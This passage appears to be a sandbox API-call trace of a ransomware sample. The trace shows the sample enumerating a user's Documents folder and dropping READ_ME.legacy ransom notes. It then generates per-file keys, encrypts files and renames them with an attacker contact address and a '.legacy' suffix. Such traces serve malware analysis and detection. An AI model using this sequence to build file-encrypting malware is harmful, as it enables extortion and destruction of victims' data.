Size=0x40) returned 0x578140 [0118.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0118.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0118.276] GetLastError () returned 0x0 [0118.276] SetLastError (dwErrCode=0x0) [0118.276] GetLastError () returned 0x0 [0118.276] SetLastError (dwErrCode=0x0) [0118.276] GetLastError () returned 0x0 [0118.276] SetLastError (dwErrCode=0x0) [0118.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0118.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f98 [0118.276] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3482f0, ftCreationTime.dwHighDateTime=0x1d4cdf5, ftLastAccessTime.dwLowDateTime=0x5ec1da70, ftLastAccessTime.dwHighDateTime=0x1d4c8dc, ftLastWriteTime.dwLowDateTime=0x5ec1da70, ftLastWriteTime.dwHighDateTime=0x1d4c8dc, nFileSizeHigh=0x0, nFileSizeLow=0x11084, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hkfLmu88BzqyS9mkQa.pptx", cAlternateFileName="HKFLMU~1.PPT")) returned 1 [0118.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0118.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0118.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0118.276] GetLastError () returned 0x0 [0118.276] SetLastError (dwErrCode=0x0) [0118.276] GetLastError () returned 0x0 [0118.276] SetLastError (dwErrCode=0x0) [0118.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0118.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0118.277] GetLastError () returned 0x0 [0118.277] SetLastError (dwErrCode=0x0) [0118.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0118.277] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e8de940, ftCreationTime.dwHighDateTime=0x1d4d572, ftLastAccessTime.dwLowDateTime=0x3db2c810, ftLastAccessTime.dwHighDateTime=0x1d4d2d9, ftLastWriteTime.dwLowDateTime=0x3db2c810, ftLastWriteTime.dwHighDateTime=0x1d4d2d9, nFileSizeHigh=0x0, nFileSizeLow=0x7234, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Ka4sw.ods", cAlternateFileName="")) returned 1 [0118.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0118.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0118.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0118.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0118.277] GetLastError () returned 0x0 [0118.277] SetLastError (dwErrCode=0x0) [0118.277] GetLastError () returned 0x0 [0118.277] SetLastError (dwErrCode=0x0) [0118.277] GetLastError () returned 0x0 [0118.277] SetLastError (dwErrCode=0x0) [0118.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0118.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0118.277] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5a427d0, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0x55e53d30, ftLastAccessTime.dwHighDateTime=0x1d4cd0e, ftLastWriteTime.dwLowDateTime=0x55e53d30, ftLastWriteTime.dwHighDateTime=0x1d4cd0e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="mj-Ues9dGF2", cAlternateFileName="MJ-UES~1")) returned 1 [0118.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0118.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0118.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0118.278] SetLastError (dwErrCode=0x0) [0118.278] GetLastError () returned 0x0 [0118.278] SetLastError (dwErrCode=0x0) [0118.278] GetLastError () returned 0x0 [0118.278] SetLastError (dwErrCode=0x0) [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ce8 [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.278] SetLastError (dwErrCode=0x0) [0118.278] GetLastError () returned 0x0 [0118.278] SetLastError (dwErrCode=0x0) [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0118.278] SetLastError (dwErrCode=0x0) [0118.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e74f0 [0118.278] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\mj-Ues9dGF2\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\mj-ues9dgf2\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.279] WriteFile (in: hFile=0x6b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0118.280] CloseHandle (hObject=0x6b8) returned 1 [0118.280] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d3880, ftCreationTime.dwHighDateTime=0x1d4cb76, ftLastAccessTime.dwLowDateTime=0xee54cab0, ftLastAccessTime.dwHighDateTime=0x1d4ca91, ftLastWriteTime.dwLowDateTime=0xee54cab0, ftLastWriteTime.dwHighDateTime=0x1d4ca91, nFileSizeHigh=0x0, nFileSizeLow=0x26d2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="PErcgE7gQd3tqp0.docx", cAlternateFileName="PERCGE~1.DOC")) returned 1 [0118.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0118.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.280] SetLastError (dwErrCode=0x0) [0118.280] GetLastError () returned 0x0 [0118.280] SetLastError (dwErrCode=0x0) [0118.280] GetLastError () returned 0x0 [0118.280] SetLastError (dwErrCode=0x0) [0118.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6c08 [0118.280] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37fc4b0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd37fc4b0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd3822a7c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0118.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0118.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.281] SetLastError (dwErrCode=0x0) [0118.281] GetLastError () returned 0x0 [0118.281] SetLastError (dwErrCode=0x0) [0118.281] GetLastError () returned 0x0 [0118.281] SetLastError (dwErrCode=0x0) [0118.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ce8 [0118.281] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ae6ae50, ftCreationTime.dwHighDateTime=0x1d4cc0b, ftLastAccessTime.dwLowDateTime=0xb8bed070, ftLastAccessTime.dwHighDateTime=0x1d4c80d, ftLastWriteTime.dwLowDateTime=0xb8bed070, ftLastWriteTime.dwHighDateTime=0x1d4c80d, nFileSizeHigh=0x0, nFileSizeLow=0x1451c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="T FUxorV3za95hcDa.pps", cAlternateFileName="TFUXOR~1.PPS")) returned 1 [0118.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0118.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.281] SetLastError (dwErrCode=0x0) [0118.281] GetLastError () returned 0x0 [0118.281] SetLastError (dwErrCode=0x0) [0118.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0118.281] SetLastError (dwErrCode=0x0) [0118.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0118.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6a40 [0118.281] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5618880, ftCreationTime.dwHighDateTime=0x1d4c8b9, ftLastAccessTime.dwLowDateTime=0x1ae29980, ftLastAccessTime.dwHighDateTime=0x1d4cf48, ftLastWriteTime.dwLowDateTime=0x1ae29980, ftLastWriteTime.dwHighDateTime=0x1d4cf48, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vG1o", cAlternateFileName="")) returned 1 [0118.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0118.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.281] SetLastError (dwErrCode=0x0) [0118.281] GetLastError () returned 0x0 [0118.281] SetLastError (dwErrCode=0x0) [0118.281] GetLastError () returned 0x0 [0118.281] SetLastError (dwErrCode=0x0) [0118.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0118.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ce8 [0118.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0118.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0118.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0118.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0118.282] SetLastError (dwErrCode=0x0) [0118.282] GetLastError () returned 0x0 [0118.282] SetLastError (dwErrCode=0x0) [0118.282] GetLastError () returned 0x0 [0118.282] SetLastError (dwErrCode=0x0) [0118.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0118.282] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.283] WriteFile (in: hFile=0x6b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0118.284] CloseHandle (hObject=0x6b8) returned 1 [0118.284] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x381b730, ftCreationTime.dwHighDateTime=0x1d4cf6b, ftLastAccessTime.dwLowDateTime=0xe75d2f90, ftLastAccessTime.dwHighDateTime=0x1d4d3f1, ftLastWriteTime.dwLowDateTime=0xe75d2f90, ftLastWriteTime.dwHighDateTime=0x1d4d3f1, nFileSizeHigh=0x0, nFileSizeLow=0x130c0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="XbKBrhV.odp", cAlternateFileName="")) returned 1 [0118.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0118.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.284] SetLastError (dwErrCode=0x0) [0118.285] GetLastError () returned 0x0 [0118.285] SetLastError (dwErrCode=0x0) [0118.285] GetLastError () returned 0x0 [0118.285] SetLastError (dwErrCode=0x0) [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0118.285] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10a431a0, ftCreationTime.dwHighDateTime=0x1d4d172, ftLastAccessTime.dwLowDateTime=0x5e20bc30, ftLastAccessTime.dwHighDateTime=0x1d4c94f, ftLastWriteTime.dwLowDateTime=0x5e20bc30, ftLastWriteTime.dwHighDateTime=0x1d4c94f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ZEJ4AMkjS2mO", cAlternateFileName="ZEJ4AM~1")) returned 1 [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.285] SetLastError (dwErrCode=0x0) [0118.285] GetLastError () returned 0x0 [0118.285] SetLastError (dwErrCode=0x0) [0118.285] GetLastError () returned 0x0 [0118.285] SetLastError (dwErrCode=0x0) [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0118.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0118.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.286] SetLastError (dwErrCode=0x0) [0118.286] GetLastError () returned 0x0 [0118.286] SetLastError (dwErrCode=0x0) [0118.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0118.286] SetLastError (dwErrCode=0x0) [0118.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7160 [0118.286] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ZEJ4AMkjS2mO\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\zej4amkjs2mo\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.288] WriteFile (in: hFile=0x6b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0118.289] CloseHandle (hObject=0x6b8) returned 1 [0118.289] FindNextFileW (in: hFindFile=0x5671d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10a431a0, ftCreationTime.dwHighDateTime=0x1d4d172, ftLastAccessTime.dwLowDateTime=0x5e20bc30, ftLastAccessTime.dwHighDateTime=0x1d4c94f, ftLastWriteTime.dwLowDateTime=0x5e20bc30, ftLastWriteTime.dwHighDateTime=0x1d4c94f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ZEJ4AMkjS2mO", cAlternateFileName="ZEJ4AM~1")) returned 0 [0118.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0118.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0118.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0118.289] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0118.289] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0118.289] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\XbKBrhV.odp", dwFileAttributes=0x80) returned 1 [0118.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0118.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b580 [0118.290] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\XbKBrhV.odp" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\xbkbrhv.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.290] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=78016) returned 1 [0118.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x130c0) returned 0x609bd8 [0118.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x130c0) returned 0x2e41f30 [0118.291] ReadFile (in: hFile=0x6b8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x130c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x130c0, lpOverlapped=0x0) returned 1 [0118.294] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=-78016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.294] WriteFile (in: hFile=0x6b8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x130c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x130c0, lpOverlapped=0x0) returned 1 [0118.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.295] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x130c0 [0118.295] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.295] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.295] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.296] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.296] CloseHandle (hObject=0x6b8) returned 1 [0118.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0118.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0118.296] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\XbKBrhV.odp" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\xbkbrhv.odp"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\XbKBrhV.odp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\xbkbrhv.odp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b580 | out: hHeap=0x520000) returned 1 [0118.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0118.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0118.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0118.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0118.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0118.301] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0118.301] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0118.301] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\T FUxorV3za95hcDa.pps", dwFileAttributes=0x80) returned 1 [0118.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7588 [0118.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563d40 [0118.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7588 | out: hHeap=0x520000) returned 1 [0118.301] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\T FUxorV3za95hcDa.pps" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\t fuxorv3za95hcda.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0118.302] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=83228) returned 1 [0118.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1451c) returned 0x609bd8 [0118.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1451c) returned 0x2e41f30 [0118.302] ReadFile (in: hFile=0x6b8, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1451c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1451c, lpOverlapped=0x0) returned 1 [0118.304] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=-83228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.304] WriteFile (in: hFile=0x6b8, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x1451c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1451c, lpOverlapped=0x0) returned 1 [0118.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0118.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.306] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1451c [0118.306] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.306] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.307] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 